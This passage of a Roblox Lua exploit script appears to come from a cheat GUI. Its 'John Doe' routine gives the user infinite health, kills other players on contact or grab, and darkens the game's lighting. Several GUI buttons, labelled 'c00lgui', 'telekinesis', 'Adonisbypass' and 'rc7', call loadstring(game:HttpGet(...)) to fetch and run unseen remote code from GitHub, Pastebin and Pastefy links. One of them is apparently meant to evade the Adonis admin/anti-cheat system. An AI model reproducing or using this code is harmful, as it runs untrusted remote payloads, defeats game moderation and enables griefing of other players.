skyboxmesh.MeshId = "http://www.roblox.com/asset/?id=1527559"
skyboxmesh.TextureId = "http://www.roblox.com/asset/?id=1529455"
skyboxmesh.VertexColor = Vector3.new(1,0,0)
skyboxmesh.Scale = Vector3.new(-3000,-1000,-3000)
--Soul Steal--
function SoulSteal(pos)
local soulst = coroutine.wrap(function()
local soul = Instance.new("Part",chara)
soul.Size = Vector3.new(0,0,0)
soul.CanCollide = false
soul.Anchored = false
soul.Position = pos
soul.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
soul.Transparency = 1
local ptc = Instance.new("ParticleEmitter",soul)
ptc.Texture = "http://www.roblox.com/asset/?id=413366101"
ptc.Size = NumberSequence.new(.5)
ptc.LockedToPart = true
ptc.Speed = NumberRange.new(0)
ptc.Lifetime = NumberRange.new(9999)
local bodpos = Instance.new("BodyPosition",soul)
bodpos.Position = pos
wait(2)
soul.Touched:connect(function(hit)
if hit.Parent == chara then
soul:Destroy()
end
end)
while soul do
wait(.1)
bodpos.Position = chara.Torso.Position
end
end)
soulst()
end
--Death of a Mortal--
function KillMortal(hitdude)
local torsy = nil
if hitdude:FindFirstChild("Torso")~=nil then
torsy = hitdude.Torso
elseif hitdude:FindFirstChild("UpperTorso")~=nil then
torsy = hitdude.UpperTorso
end
local val = Instance.new("ObjectValue",hitdude)
val.Name = "HasBeenHit"
hitdude:BreakJoints()
hitdude.Humanoid:Destroy()
SoulSteal(torsy.Position)
local chi = hitdude:GetChildren()
for i = 1, #chi do
if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
local bodpos = Instance.new("BodyPosition",chi[i])
bodpos.Position = chi[i].Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
ScatterEff(chi[i])
chi[i].BrickColor = BrickColor.new("Really black")
end
end
for i = 1, 4 do
for i = 1, #chi do
if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
chi[i].Transparency = chi[i].Transparency + .25
wait(.01)
end
end
end
for i = 1, #chi do
if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
chi[i]:Destroy()
end
end
end
--Arm Touch--
bladeactive = false
Hitbox.Touched:connect(function(hit)
if bladeactive == true then
if hit.Parent:FindFirstChild("Humanoid")~= nil and hit.Parent:FindFirstChild("HasBeenHit")== nil and hit.Parent ~= chara then
hitsnd:Play()
KillMortal(hit.Parent)
end
end
end)
--Teleport--
function Teleport(pos)
telesnd:Play()
local ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].ClassName == "Part" and ch[i].Name ~= "HumanoidRootPart" then
local trace = Instance.new("Part",game.Workspace)
trace.Size = ch[i].Size
trace.Material = "Neon"
trace.BrickColor = BrickColor.new("Really black")
trace.Transparency = .3
trace.CanCollide = false
trace.Anchored = true
trace.CFrame = ch[i].CFrame
if ch[i].Name == "Head" then
mehs = Instance.new("CylinderMesh",trace)
mehs.Scale = Vector3.new(1.25,1.25,1.25)
end
tracedisappear = coroutine.wrap(function()
wait(1)
for i = 1, 7 do
wait(.1)
trace.Transparency = trace.Transparency + .1
end
trace:Destroy()
end)
tracedisappear()
end
end
chara.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
end
--Grab--
function Grab(mouse)
local hit = mouse.Target
if hit ~= nil then
if hit.Parent:FindFirstChild("Humanoid")~=nil then
local torsy = nil
if hit.Parent:FindFirstChild("Torso")~=nil then
torsy = hit.Parent.Torso
elseif hit.Parent:FindFirstChild("UpperTorso")~=nil then
torsy = hit.Parent.UpperTorso
end
local bodpos = Instance.new("BodyPosition",torsy)
bodpos.Position = torsy.Position
wait(1)
burnsnd:Play()
hit.Parent.Humanoid.MaxHealth = 100
bodpos.Position = bodpos.Position + Vector3.new(0,4,0)
for i = 1, 10 do
wait(.1)
BurningEff(torsy)
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - 10
end
KillMortal(hit.Parent)
end
else end
end
--Button1Down--
dell = false
function onButton1Down()
if dell == false then
dell = true
swinganim:Play()
bladeactive = true
slashsnd:Play()
wait(.7)
bladeactive = false
dell = false
swinganim:Stop()
end
end
--KeyDowns--
function onKeyDown(key)
if key == "z" then
Teleport(Mouse.Hit.p + Vector3.new(0,2,0))
elseif key == "x" then
Grab(Mouse)
end
end
--Mouse Functions--
Mouse = player:GetMouse()
if Mouse then
Mouse.Button1Down:connect(onButton1Down)
Mouse.KeyDown:connect(onKeyDown)
end
--Death--
chara.Humanoid.Died:connect(function()
local pat = Instance.new("Part",game.Workspace)
pat.Transparency = 1
pat.Anchored = true
pat.CFrame = chara.Torso.CFrame
naeeym.Parent = pat
naeeym.Adornee = pat
skybox.Parent = game.Workspace
tecks.Text = "BAD CHOICE"
tecks.FontSize = "Size48"
tecks.TextColor3 = Color3.new(1,0,0)
music1:Stop()
music2:Stop()
deathmus.Parent = game.Workspace
deathex.Parent = game.Workspace
deathmus:Play()
deathex:Play()
game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
game.Lighting.TimeOfDay = "00:00:00"
game.Lighting.FogColor = Color3.new(0,0,0)
game.Lighting.FogEnd = 1000
local ex = Instance.new("Explosion",game.Workspace)
ex.Position = chara.Torso.Position
ex.Visible = false
ex.BlastRadius = 999999999999999999999999
ex.BlastPressure = 9999999999999999999999999
end)
--Loop Function--
while true do
wait(.01)
chance = math.random(0,100)
if chance < 10 then
sel = math.random(1,3)
if sel == 1 then
tecks.Text = "NOHOPE"
elseif sel == 2 then
tecks.Text = "GIVEUP"
elseif sel == 3 then
tecks.Text = "BURNINHELL"
end
else tecks.Text = "John Doe"
end
if chara.Humanoid.Health > 0 then
chara.Humanoid.MaxHealth = math.huge
chara.Humanoid.Health = math.huge
game.Lighting.OutdoorAmbient = Color3.new(1,0,0)
game.Lighting.Ambient = Color3.new(1,0,0)
chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
chara.Torso.BrickColor = BrickColor.new("Bright yellow")
chara["Left Arm"].Anchored = false
chara["Right Arm"].Anchored = false
chara["Left Leg"].Anchored = false
chara["Right Leg"].Anchored = false
chara.Torso.Anchored = false
ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].ClassName == "Accessory" or ch[i].ClassName == "Hat" then
ch[i]:Destroy()
end
end
tools = player.Backpack:GetChildren()
for i = 1, #tools do
if tools[i].ClassName == "HopperBin" then
tools[i]:Destroy()
end
end
skybox.CFrame = skybox.CFrame * CFrame.fromEulerAnglesXYZ(0,math.rad(1),0)
tecks.Position = UDim2.new(0,math.random(-3,3),0,math.random(-3,3))
local jtrace = Instance.new("Part",game.Workspace)
jtrace.Name = "JDTrace"
jtrace.Size = Vector3.new(10,0,10)
jtrace.Position = chara.Torso.Position
jtrace.CFrame = chara.Torso.CFrame - Vector3.new(0,3,0)
jtrace.Anchored = true
jtrace.CanCollide = false
jtrace.BrickColor = BrickColor.new("Really black")
jtrace.Material = "Granite"
BurningEff(jtrace)
game.Debris:AddItem(jtrace,1)
end
end
end)
end
coroutine.wrap(CQYG_fake_script)()
local function JLFF_fake_script() -- c00lgui.LocalScript
local script = Instance.new('LocalScript', c00lgui)
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/KenzoSSto1/c00lgui-Project/main/main.lua"))()
end)
end
coroutine.wrap(JLFF_fake_script)()
local function NALQ_fake_script() -- wontstopus.LocalScript
local script = Instance.new('LocalScript', wontstopus)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local SoundService = game:GetService("SoundService")
local sound = Instance.new("Sound")
sound.Name = "MiAudio"
sound.SoundId = "rbxassetid://1847661821"
sound.Volume = 1
sound.Looped = false
sound.Parent = SoundService
sound:Play()
end)
end
coroutine.wrap(NALQ_fake_script)()
local function XMXBWFT_fake_script() -- telekinesis.LocalScript
local script = Instance.new('LocalScript', telekinesis)
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/skibicumrocket/piss-monster/refs/heads/main/telekines.txt'))()
end)
end
coroutine.wrap(XMXBWFT_fake_script)()
local function GSJLSDU_fake_script() -- Adonisbypass.LocalScript
local script = Instance.new('LocalScript', Adonisbypass)
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/7L3w6P6K"))()
end)
end
coroutine.wrap(GSJLSDU_fake_script)()
local function FTXQM_fake_script() -- rc7.LocalScript
local script = Instance.new('LocalScript', rc7)
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastefy.app/cgSI79EZ/raw"))()
end)
end
coroutine.wrap(FTXQM_fake_script)()